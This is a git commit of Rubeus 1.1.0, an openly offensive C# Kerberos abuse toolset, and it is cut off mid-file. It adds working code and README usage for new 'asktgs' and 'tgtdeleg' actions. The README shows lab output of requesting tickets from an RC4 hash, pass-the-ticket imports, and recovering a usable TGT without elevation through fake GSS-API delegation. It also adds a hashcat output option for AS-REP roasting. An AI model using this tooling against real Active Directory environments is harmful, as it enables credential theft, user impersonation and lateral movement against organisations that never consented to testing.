Rubeus 1.1.0

[new] "asktgs" action
    -takes /ptt:X, /dc:X, /ticket:X flags like asktgt
    - /service:X takes one or more SPN specifications

[new] "tgtdeleg" action
    -reimplements @gentilkiwi's Kekeo tgt::deleg action
    -uses the GSS-API Kerberos specification (RFC 4121) to request a "fake" delegation context that stores a KRB-CRED in the Authenticator Checksum
        -combined with extracting the service session key from the local cache, this allows us to recover usable TGTs for the current user without elevation

[added] "s4u" action
    -Added option for multiple alternate snames (/altservice:X,Y,...)
    -This executes the S4U2self/S4U2proxy process only once, and substitutes the multiple alternate service names
        into the final resulting service ticket structure(s) for as many snames as specified

[fix] "dump" action
    -Corrected extraction of complete ServiceName/TargetName strings

[fix] "asreproast" action
    -fixed salt demarcation line for "asreproast" hashes
    -added eventual hashcat output format, use "/format:<john/hashcat>", default of "john"

[fix] "kerberoast" action
    -Added reference for @machsosec for the KerberosRequestorSecurityToken.GetRequest Kerberoasting Method()
    -Corrected encType extraction for the hash output
master
HarmJ0y 2018-09-30 22:09:27 -04:00
parent 4c94eb8f3a
commit 4c91457523
10 changed files with 1286 additions and 107 deletions

31
CHANGELOG.md Normal file
View File

@ -0,0 +1,31 @@
# Changelog
All notable changes to this project will be documented in this file.
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
## [1.1.0] - 2018-09-31
### Added
* **asktgs** action - takes /ptt:X, /dc:X, /ticket:X flags like asktgt, /service:X takes one or more SPN specifications
* **tgtdeleg** action - reimplements @gentilkiwi's Kekeo tgt::deleg function
* uses the GSS-API Kerberos specification (RFC 4121) to request a "fake" delegation context that stores a KRB-CRED in the Authenticator Checksum. Combined with extracting the service session key from the local cache, this allows us to recover usable TGTs for the current user without elevation.
* Added CHANGELOG.md
### Changed
* **s4u** action now accepts multiple alternate snames (/altservice:X,Y,...)
* This executes the S4U2self/S4U2proxy process only once, and substitutes the multiple alternate service names
into the final resulting service ticket structure(s) for as many snames as specified
* **asreproast** action
* added eventual hashcat output format, use "/format:<john/hashcat>" (default of "john")
### Fixed
* **dump** action now correctly extracts ServiceName/TargetName strings
* **asreproast** action - fixed salt demarcation line for "asreproast" hashes
* **kerberoast** action
* Added reference for @machsosec for the KerberosRequestorSecurityToken.GetRequest Kerberoasting Method()
* Corrected encType extraction for the hash output
## [1.0.0] - 2018-08-24
* Initial release

141
README.md
View File

@ -2,10 +2,12 @@
---- ----
Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 licence) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist. Rubeus is a C# toolset for raw Kerberos interaction and abuses. It is **heavily** adapted from [Benjamin Delpy](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) project (CC BY-NC-SA 4.0 license) and [Vincent LE TOUX](https://twitter.com/mysmartlogon)'s [MakeMeEnterpriseAdmin](https://github.com/vletoux/MakeMeEnterpriseAdmin) project (GPL v3.0 license). Full credit goes to Benjamin and Vincent for working out the hard components of weaponization- without their prior work this project would not exist.
Rubeus also uses a C# ASN.1 parsing/encoding library from [Thomas Pornin](https://github.com/pornin) named [DDer](https://github.com/pornin/DDer) that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code! Rubeus also uses a C# ASN.1 parsing/encoding library from [Thomas Pornin](https://github.com/pornin) named [DDer](https://github.com/pornin/DDer) that was released with an "MIT-like" license. Huge thanks to Thomas for his clean and stable code!
The [KerberosRequestorSecurityToken.GetRequest](https://msdn.microsoft.com/en-us/library/system.identitymodel.tokens.kerberosrequestorsecuritytoken.getrequest(v=vs.110).aspx) method for Kerberoasting was contributed to PowerView by [@machosec](https://twitter.com/machosec).
[@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base. [@harmj0y](https://twitter.com/harmj0y) is the primary author of this code base.
Rubeus is licensed under the BSD 3-Clause license. Rubeus is licensed under the BSD 3-Clause license.
@ -24,6 +26,9 @@ Rubeus is licensed under the BSD 3-Clause license.
Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit: Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:
Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew] Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]
Retrieve a service ticket for one or more SPNs, optionally applying the ticket:
Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]
Perform S4U constrained delegation abuse: Perform S4U constrained delegation abuse:
Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt] Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]
Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:cifs,HOST,...] [/dc:DOMAIN_CONTROLLER] [/ptt] Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:cifs,HOST,...] [/dc:DOMAIN_CONTROLLER] [/ptt]
@ -52,6 +57,9 @@ Rubeus is licensed under the BSD 3-Clause license.
Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID: Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:
Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID] Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]
Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:
Rubeus.exe tgtdeleg [/target:SPN]
Monitor every SECONDS (default 60 seconds) for 4624 logon events and dump any TGT data for new logon sessions: Monitor every SECONDS (default 60 seconds) for 4624 logon events and dump any TGT data for new logon sessions:
Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER] Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]
@ -210,6 +218,104 @@ C:\Rubeus>Rubeus.exe renew /ticket:doIFFj...(snip)... /autorenew
[*] Sleeping for 269 minutes (endTime-30) before the next renewal [*] Sleeping for 269 minutes (endTime-30) before the next renewal
## asktgs
The **asktgs** action will build/parse a raw TGS-REQ/TGS-REP service ticket request using the specified TGT /ticket:X supplied. This value can be a base64 encoding of a .kirbi file or the path to a .kirbi file on disk. If a /dc is not specified, the computer's current domain controller is extracted and used as the destination for the request traffic. The /ptt flag will "pass-the-ticket" and apply the resulting service ticket to the current logon session. One or more /service:X SPNs must be specified, comma separated.
C:\Temp\tickets>Rubeus.exe asktgt /user:harmj0y /rc4:2b576acbe6bcfda7294d6bd18041b8fe
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGT
[*] Using rc4_hmac hash: 2b576acbe6bcfda7294d6bd18041b8fe
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building AS-REQ (w/ preauth) for: 'testlab.local\harmj0y'
[*] Connecting to 192.168.52.100:88
[*] Sent 232 bytes
[*] Received 1405 bytes
[+] TGT request successful!
[*] base64(ticket.kirbi):
doIFFjCCBRKgAwIBBa...(snip)...
C:\Temp\tickets>Rubeus.exe asktgs /ticket:doIFFjCCBRKgAwIBBa...(snip...)== /service:LDAP/primary.testlab.local,cifs/primary.testlab.local /ptt
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.0.0
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'LDAP/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1384 bytes
[*] Received 1430 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFSjCCBUagAwIBBaEDA...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
[*] Action: Ask TGS
[*] Using domain controller: PRIMARY.testlab.local (192.168.52.100)
[*] Building TGS-REQ request for: 'cifs/primary.testlab.local'
[*] Connecting to 192.168.52.100:88
[*] Sent 1384 bytes
[*] Received 1430 bytes
[+] TGS request successful!
[*] base64(ticket.kirbi):
doIFSjCCBUagAwIBBaEDAgE...(snip)...
[*] Action: Import Ticket
[+] Ticket successfully imported!
C:\Temp\tickets>C:\Windows\System32\klist.exe tickets
Current LogonId is 0:0x570ba
Cached Tickets: (2)
#0> Client: harmj0y @ TESTLAB.LOCAL
Server: cifs/primary.testlab.local @ TESTLAB.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 9/30/2018 18:17:55 (local)
End Time: 9/30/2018 23:17:01 (local)
Renew Time: 10/7/2018 18:17:01 (local)
Session Key Type: AES-128-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
#1> Client: harmj0y @ TESTLAB.LOCAL
Server: LDAP/primary.testlab.local @ TESTLAB.LOCAL
KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize
Start Time: 9/30/2018 18:17:55 (local)
End Time: 9/30/2018 23:17:01 (local)
Renew Time: 10/7/2018 18:17:01 (local)
Session Key Type: AES-128-CTS-HMAC-SHA1-96
Cache Flags: 0
Kdc Called:
## s4u ## s4u
The **s4u** action is nearly identical to Kekeo's **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field), this action can be used to abuse access to the target SPN/server. The **s4u** action is nearly identical to Kekeo's **tgs::s4u** functionality. If a user (or computer) account is configured for constrained delegation (i.e. has a SPN value in its msds-allowedtodelegateto field), this action can be used to abuse access to the target SPN/server.
@ -581,7 +687,38 @@ The **dump** action will extract current TGTs and service tickets from memory, i
[*] Enumerated 4 total tickets [*] Enumerated 4 total tickets
[*] Extracted 1 total tickets [*] Extracted 1 total tickets
**Note that this action needs to be run from an elevated context!** **Note that this action needs to be run from an elevated context to extract usable TGTs!**
## tgtdeleg
The **tgtdeleg** using [@gentilkiwi](https://twitter.com/gentilkiwi)'s [Kekeo](https://github.com/gentilkiwi/kekeo/) trick (**tgt::deleg**) that abuses the Kerberos GSS-API to retrieve a usable TGT for the current user without needing elevation on the host. AcquireCredentialsHandle() is used to get a handle to the current user's Kerberos security credentials, and InitializeSecurityContext() with the ISC_REQ_DELEGATE flag and a target SPN of HOST/DC.domain.com to prepare a fake delegate context to send to the DC. This results in an AP-REQ in the GSS-API output that contains a KRB_CRED in the authenticator checksum. The service ticket session key is extracted from the local Kerberos cache and is used to decrypt the KRB_CRED in the authenticator, resulting in a usable TGT .kirbi.
C:\Rubeus>Rubeus.exe tgtdeleg
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.1.0
[*] Action: Request Fake Delegation TGT (current user)
[*] No target SPN specified, attempting to build 'HOST/dc.domain.com'
[*] Initializing Kerberos GSS-API w/ fake delegation for target 'HOST/PRIMARY.testlab.local'
[+] Kerberos GSS-API initialization success!
[+] Delegation requset success! AP-REQ delegation ticket is now in GSS-API output.
[*] Found the AP-REQ delegation ticket in the GSS-API output.
[*] Authenticator etype: aes256_cts_hmac_sha1
[*] Extracted the service ticket session key from the ticket cache: PrrVTn8MgR52epjaG5YnvZMAeCn1TnJn8QfuMh9lvw8=
[+] Successfully decrypted the authenticator
[*] base64(ticket.kirbi):
doIFNjCCBTKgAwIBBaE...(snip)...
## monitor ## monitor

View File

@ -18,7 +18,7 @@ namespace Rubeus
System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)"); System.Console.WriteLine(" | __ /| | | | _ \\| ___ | | | |/___)");
System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |"); System.Console.WriteLine(" | | \\ \\| |_| | |_) ) ____| |_| |___ |");
System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n"); System.Console.WriteLine(" |_| |_|____/|____/|_____)____/(___/\r\n");
System.Console.WriteLine(" v1.0.0\r\n"); System.Console.WriteLine(" v1.1.0\r\n");
} }
public static void Usage() public static void Usage()
@ -28,8 +28,10 @@ namespace Rubeus
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]"); Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/ptt] [/luid]");
Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:"); Console.WriteLine("\r\n Retrieve a TGT based on a user hash, start a /netonly process, and to apply the ticket to the new process/logon session:");
Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]"); Console.WriteLine(" Rubeus.exe asktgt /user:USER </rc4:HASH | /aes256:HASH> /createnetonly:C:\\Windows\\System32\\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Renew a TGT, optionally appling the ticket or auto-renewing the ticket up to its renew-till limit:"); Console.WriteLine("\r\n Renew a TGT, optionally applying the ticket or auto-renewing the ticket up to its renew-till limit:");
Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]"); Console.WriteLine(" Rubeus.exe renew </ticket:BASE64 | /ticket:FILE.KIRBI> [/dc:DOMAIN_CONTROLLER] [/ptt] [/autorenew]");
Console.WriteLine("\r\n Retrieve a service ticket for one or more SPNs, optionally applying the ticket:");
Console.WriteLine(" Rubeus.exe asktgs </ticket:BASE64 | /ticket:FILE.KIRBI> </service:SPN1,SPN2,...> [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine("\r\n Perform S4U constrained delegation abuse:"); Console.WriteLine("\r\n Perform S4U constrained delegation abuse:");
Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]"); Console.WriteLine(" Rubeus.exe s4u </ticket:BASE64 | /ticket:FILE.KIRBI> /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]"); Console.WriteLine(" Rubeus.exe s4u /user:USER </rc4:HASH | /aes256:HASH> [/domain:DOMAIN] /impersonateuser:USER /msdsspn:SERVICE/SERVER [/altservice:SERVICE] [/dc:DOMAIN_CONTROLLER] [/ptt]");
@ -49,6 +51,8 @@ namespace Rubeus
Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]"); Console.WriteLine(" Rubeus.exe asreproast /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER]");
Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:"); Console.WriteLine("\r\n Dump all current ticket data (if elevated, dump for all users), optionally targeting a specific service/LUID:");
Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]"); Console.WriteLine(" Rubeus.exe dump [/service:SERVICE] [/luid:LOGINID]");
Console.WriteLine("\r\n Retrieve a usable TGT .kirbi for the current user (w/ session key) without elevation by abusing the Kerberos GSS-API, faking delegation:");
Console.WriteLine(" Rubeus.exe tgtdeleg [/target:SPN]");
Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:"); Console.WriteLine("\r\n Monitor every SECONDS (default 60) for 4624 logon events and dump any TGT data for new logon sessions:");
Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]"); Console.WriteLine(" Rubeus.exe monitor [/interval:SECONDS] [/filteruser:USER]");
Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:"); Console.WriteLine("\r\n Monitor every MINUTES (default 60) for 4624 logon events, dump any new TGT data, and auto-renew TGTs that are about to expire:");
@ -180,6 +184,63 @@ namespace Rubeus
} }
} }
if (arguments.ContainsKey("asktgs"))
{
bool ptt = false;
string dc = "";
string service = "";
if (arguments.ContainsKey("/ptt"))
{
ptt = true;
}
if (arguments.ContainsKey("/dc"))
{
dc = arguments["/dc"];
}
if (arguments.ContainsKey("/service"))
{
service = arguments["/service"];
}
else
{
Console.WriteLine("[X] One or more '/service:sname/server.domain.com' specifications are needed");
return;
}
if (arguments.ContainsKey("/ticket"))
{
string kirbi64 = arguments["/ticket"];
if (Helpers.IsBase64String(kirbi64))
{
byte[] kirbiBytes = Convert.FromBase64String(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, ptt, dc, true);
return;
}
else if (File.Exists(kirbi64))
{
byte[] kirbiBytes = File.ReadAllBytes(kirbi64);
KRB_CRED kirbi = new KRB_CRED(kirbiBytes);
Ask.TGS(kirbi, service, ptt, dc, true);
return;
}
else
{
Console.WriteLine("\r\n[X] /ticket:X must either be a .kirbi file or a base64 encoded .kirbi\r\n");
}
return;
}
else
{
Console.WriteLine("\r\n[X] A base64 .kirbi file needs to be supplied for renewal!\r\n");
return;
}
}
if (arguments.ContainsKey("renew")) if (arguments.ContainsKey("renew"))
{ {
bool ptt = false; bool ptt = false;
@ -481,6 +542,7 @@ namespace Rubeus
string user = ""; string user = "";
string domain = ""; string domain = "";
string dc = ""; string dc = "";
string format = "john";
if (arguments.ContainsKey("/user")) if (arguments.ContainsKey("/user"))
{ {
@ -494,6 +556,11 @@ namespace Rubeus
{ {
dc = arguments["/dc"]; dc = arguments["/dc"];
} }
if (arguments.ContainsKey("/format"))
{
format = arguments["/format"];
}
if (String.IsNullOrEmpty(user)) if (String.IsNullOrEmpty(user))
{ {
@ -507,11 +574,11 @@ namespace Rubeus
if (String.IsNullOrEmpty(dc)) if (String.IsNullOrEmpty(dc))
{ {
Roast.ASRepRoast(user, domain); Roast.ASRepRoast(user, domain, "", format);
} }
else else
{ {
Roast.ASRepRoast(user, domain, dc); Roast.ASRepRoast(user, domain, dc, format);
} }
} }
@ -553,6 +620,18 @@ namespace Rubeus
} }
} }
else if (arguments.ContainsKey("tgtdeleg"))
{
if (arguments.ContainsKey("/target"))
{
LSA.RequestFakeDelegTicket(arguments["/target"]);
}
else
{
LSA.RequestFakeDelegTicket();
}
}
else if (arguments.ContainsKey("monitor")) else if (arguments.ContainsKey("monitor"))
{ {
string targetUser = ""; string targetUser = "";

View File

@ -161,5 +161,165 @@ namespace Rubeus
return null; return null;
} }
} }
public static void TGS(KRB_CRED kirbi, string service, bool ptt = false, string domainController = "", bool display = true)
{
// extract out the info needed for the TGS-REQ request
string userName = kirbi.enc_part.ticket_info[0].pname.name_string[0];
string domain = kirbi.enc_part.ticket_info[0].prealm;
Ticket ticket = kirbi.tickets[0];
byte[] clientKey = kirbi.enc_part.ticket_info[0].key.keyvalue;
Interop.KERB_ETYPE etype = (Interop.KERB_ETYPE)kirbi.enc_part.ticket_info[0].key.keytype;
string[] services = service.Split(',');
foreach (string sname in services) {
// request the new service tickt
TGS(userName, domain, ticket, clientKey, etype, sname, ptt, domainController, display);
Console.WriteLine();
}
}
public static byte[] TGS(string userName, string domain, Ticket providedTicket, byte[] clientKey, Interop.KERB_ETYPE etype, string service, bool ptt, string domainController = "", bool display = true)
{
if (display)
{
Console.WriteLine("[*] Action: Ask TGS\r\n");
}
// grab the default DC if none was supplied
if (String.IsNullOrEmpty(domainController))
{
domainController = Networking.GetDCName();
if (String.IsNullOrEmpty(domainController))
{
return null;
}
}
System.Net.IPAddress[] dcIP;
try
{
dcIP = System.Net.Dns.GetHostAddresses(domainController);
}
catch (Exception e)
{
Console.WriteLine("[X] Error resolving IP for domain controller \"{0}\" : {1}", domainController, e.Message);
return null;
}
if (display)
{
Console.WriteLine("[*] Using domain controller: {0} ({1})", domainController, dcIP[0]);
Console.WriteLine("[*] Building TGS-REQ request for: '{0}'", service);
}
byte[] tgsBytes = TGS_REQ.NewTGSReq(userName, domain, service, providedTicket, clientKey, etype, false);
byte[] response = Networking.SendBytes(dcIP[0].ToString(), 88, tgsBytes);
if (response == null)
{
return null;
}
// decode the supplied bytes to an AsnElt object
// false == ignore trailing garbage
AsnElt responseAsn = AsnElt.Decode(response, false);
// check the response value
int responseTag = responseAsn.TagValue;
if (responseTag == 13)
{
Console.WriteLine("[+] TGS request successful!");
// parse the response to an TGS-REP
TGS_REP rep = new TGS_REP(responseAsn);
// https://github.com/gentilkiwi/kekeo/blob/master/modules/asn1/kull_m_kerberos_asn1.h#L62
byte[] outBytes = Crypto.KerberosDecrypt(etype, 8, clientKey, rep.enc_part.cipher);
AsnElt ae = AsnElt.Decode(outBytes, false);
EncKDCRepPart encRepPart = new EncKDCRepPart(ae.Sub[0]);
// now build the final KRB-CRED structure
KRB_CRED cred = new KRB_CRED();
// add the ticket
cred.tickets.Add(rep.ticket);
// build the EncKrbCredPart/KrbCredInfo parts from the ticket and the data in the encRepPart
KrbCredInfo info = new KrbCredInfo();
// [0] add in the session key
info.key.keytype = encRepPart.key.keytype;
info.key.keyvalue = encRepPart.key.keyvalue;
// [1] prealm (domain)
info.prealm = encRepPart.realm;
// [2] pname (user)
info.pname.name_type = rep.cname.name_type;
info.pname.name_string = rep.cname.name_string;
// [3] flags
info.flags = encRepPart.flags;
// [4] authtime (not required)
// [5] starttime
info.starttime = encRepPart.starttime;
// [6] endtime
info.endtime = encRepPart.endtime;
// [7] renew-till
info.renew_till = encRepPart.renew_till;
// [8] srealm
info.srealm = encRepPart.realm;
// [9] sname
info.sname.name_type = encRepPart.sname.name_type;
info.sname.name_string = encRepPart.sname.name_string;
// add the ticket_info into the cred object
cred.enc_part.ticket_info.Add(info);
byte[] kirbiBytes = cred.Encode().Encode();
string kirbiString = Convert.ToBase64String(kirbiBytes);
if (display)
{
Console.WriteLine("[*] base64(ticket.kirbi):\r\n", kirbiString);
// display the .kirbi base64, columns of 80 chararacters
foreach (string line in Helpers.Split(kirbiString, 80))
{
Console.WriteLine(" {0}", line);
}
if (ptt)
{
// pass-the-ticket -> import into LSASS
LSA.ImportTicket(kirbiBytes);
}
return kirbiBytes;
}
else
{
return kirbiBytes;
}
}
else if (responseTag == 30)
{
// parse the response to an KRB-ERROR
KRB_ERROR error = new KRB_ERROR(responseAsn.Sub[0]);
Console.WriteLine("\r\n[X] KRB-ERROR ({0}) : {1}\r\n", error.error_code, (Interop.KERBEROS_ERROR)error.error_code);
}
else
{
Console.WriteLine("\r\n[X] Unknown application tag: {0}", responseTag);
}
return null;
}
} }
} }

View File

@ -122,5 +122,26 @@ namespace Rubeus
.Select(x => Convert.ToByte(hex.Substring(x, 2), 16)) .Select(x => Convert.ToByte(hex.Substring(x, 2), 16))
.ToArray(); .ToArray();
} }
static public int SearchBytePattern(byte[] pattern, byte[] bytes)
{
List<int> positions = new List<int>();
int patternLength = pattern.Length;
int totalLength = bytes.Length;
byte firstMatchByte = pattern[0];
for (int i = 0; i < totalLength; i++)
{
if (firstMatchByte == bytes[i] && totalLength - i >= patternLength)
{
byte[] match = new byte[patternLength];
Array.Copy(bytes, i, match, 0, patternLength);
if (match.SequenceEqual<byte>(pattern))
{
return i;
}
}
}
return 0;
}
} }
} }

View File

@ -455,6 +455,37 @@ namespace Rubeus
LOGON32_PROVIDER_WINNT50 LOGON32_PROVIDER_WINNT50
} }
// from https://github.com/alexbrainman/sspi/blob/master/syscall.go#L113-L129
[Flags]
public enum ISC_REQ : int
{
DELEGATE = 1,
MUTUAL_AUTH = 2,
REPLAY_DETECT = 4,
SEQUENCE_DETECT = 8,
CONFIDENTIALITY = 16,
USE_SESSION_KEY = 32,
PROMPT_FOR_CREDS = 64,
USE_SUPPLIED_CREDS = 128,
ALLOCATE_MEMORY = 256,
USE_DCE_STYLE = 512,
DATAGRAM = 1024,
CONNECTION = 2048,
EXTENDED_ERROR = 16384,
STREAM = 32768,
INTEGRITY = 65536,
MANUAL_CRED_VALIDATION = 524288,
HTTP = 268435456
}
public enum SecBufferType
{
SECBUFFER_VERSION = 0,
SECBUFFER_EMPTY = 0,
SECBUFFER_DATA = 1,
SECBUFFER_TOKEN = 2
}
// structs // structs
@ -547,16 +578,28 @@ namespace Rubeus
public int HighPart; public int HighPart;
} }
[StructLayout(LayoutKind.Sequential)] //[StructLayout(LayoutKind.Sequential)]
public struct SECURITY_HANDLE //public struct SECURITY_HANDLE
{ //{
public IntPtr LowPart; // public IntPtr LowPart;
public IntPtr HighPart; // public IntPtr HighPart;
public SECURITY_HANDLE(int dummy) // public SECURITY_HANDLE(int dummy)
{ // {
LowPart = HighPart = IntPtr.Zero; // LowPart = HighPart = IntPtr.Zero;
} // }
}; //};
//[StructLayout(LayoutKind.Sequential)]
//public struct SECURITY_INTEGER
//{
// public uint LowPart;
// public int HighPart;
// public SECURITY_INTEGER(int dummy)
// {
// LowPart = 0;
// HighPart = 0;
// }
//};
[StructLayout(LayoutKind.Sequential)] [StructLayout(LayoutKind.Sequential)]
public struct LSA_STRING_IN public struct LSA_STRING_IN
@ -688,7 +731,11 @@ namespace Rubeus
{ {
public Int16 NameType; public Int16 NameType;
public UInt16 NameCount; public UInt16 NameCount;
public LSA_STRING_OUT Names;
[MarshalAs(UnmanagedType.ByValArray,
SizeConst = 2)]
public LSA_STRING_OUT[] Names;
//public LSA_STRING_OUT[] Names;
} }
[StructLayout(LayoutKind.Sequential)] [StructLayout(LayoutKind.Sequential)]
@ -763,6 +810,248 @@ namespace Rubeus
public LUID ModifiedId; public LUID ModifiedId;
} }
// the following are adapted from https://www.pinvoke.net/default.aspx/secur32.InitializeSecurityContext
[StructLayout(LayoutKind.Sequential)]
public struct SecHandle //=PCtxtHandle
{
IntPtr dwLower; // ULONG_PTR translates to IntPtr not to uint
IntPtr dwUpper; // this is crucial for 64-Bit Platforms
}
[StructLayout(LayoutKind.Sequential)]
public struct SecBuffer : IDisposable
{
public int cbBuffer;
public int BufferType;
public IntPtr pvBuffer;
public SecBuffer(int bufferSize)
{
cbBuffer = bufferSize;
BufferType = (int)SecBufferType.SECBUFFER_TOKEN;
pvBuffer = Marshal.AllocHGlobal(bufferSize);
}
public SecBuffer(byte[] secBufferBytes)
{
cbBuffer = secBufferBytes.Length;
BufferType = (int)SecBufferType.SECBUFFER_TOKEN;
pvBuffer = Marshal.AllocHGlobal(cbBuffer);
Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer);
}
public SecBuffer(byte[] secBufferBytes, SecBufferType bufferType)
{
cbBuffer = secBufferBytes.Length;
BufferType = (int)bufferType;
pvBuffer = Marshal.AllocHGlobal(cbBuffer);
Marshal.Copy(secBufferBytes, 0, pvBuffer, cbBuffer);
}
public void Dispose()
{
if (pvBuffer != IntPtr.Zero)
{
Marshal.FreeHGlobal(pvBuffer);
pvBuffer = IntPtr.Zero;
}
}
}
public struct MultipleSecBufferHelper
{
public byte[] Buffer;
public SecBufferType BufferType;
public MultipleSecBufferHelper(byte[] buffer, SecBufferType bufferType)
{
if (buffer == null || buffer.Length == 0)
{
throw new ArgumentException("buffer cannot be null or 0 length");
}
Buffer = buffer;
BufferType = bufferType;
}
};
[StructLayout(LayoutKind.Sequential)]
public struct SecBufferDesc : IDisposable
{
public int ulVersion;
public int cBuffers;
public IntPtr pBuffers; //Point to SecBuffer
public SecBufferDesc(int bufferSize)
{
ulVersion = (int)SecBufferType.SECBUFFER_VERSION;
cBuffers = 1;
SecBuffer ThisSecBuffer = new SecBuffer(bufferSize);
pBuffers = Marshal.AllocHGlobal(Marshal.SizeOf(ThisSecBuffer));
Marshal.StructureToPtr(ThisSecBuffer, pBuffers, false);
}
public SecBufferDesc(byte[] secBufferBytes)
{
ulVersion = (int)SecBufferType.SECBUFFER_VERSION;
cBuffers = 1;
SecBuffer ThisSecBuffer = new SecBuffer(secBufferBytes);
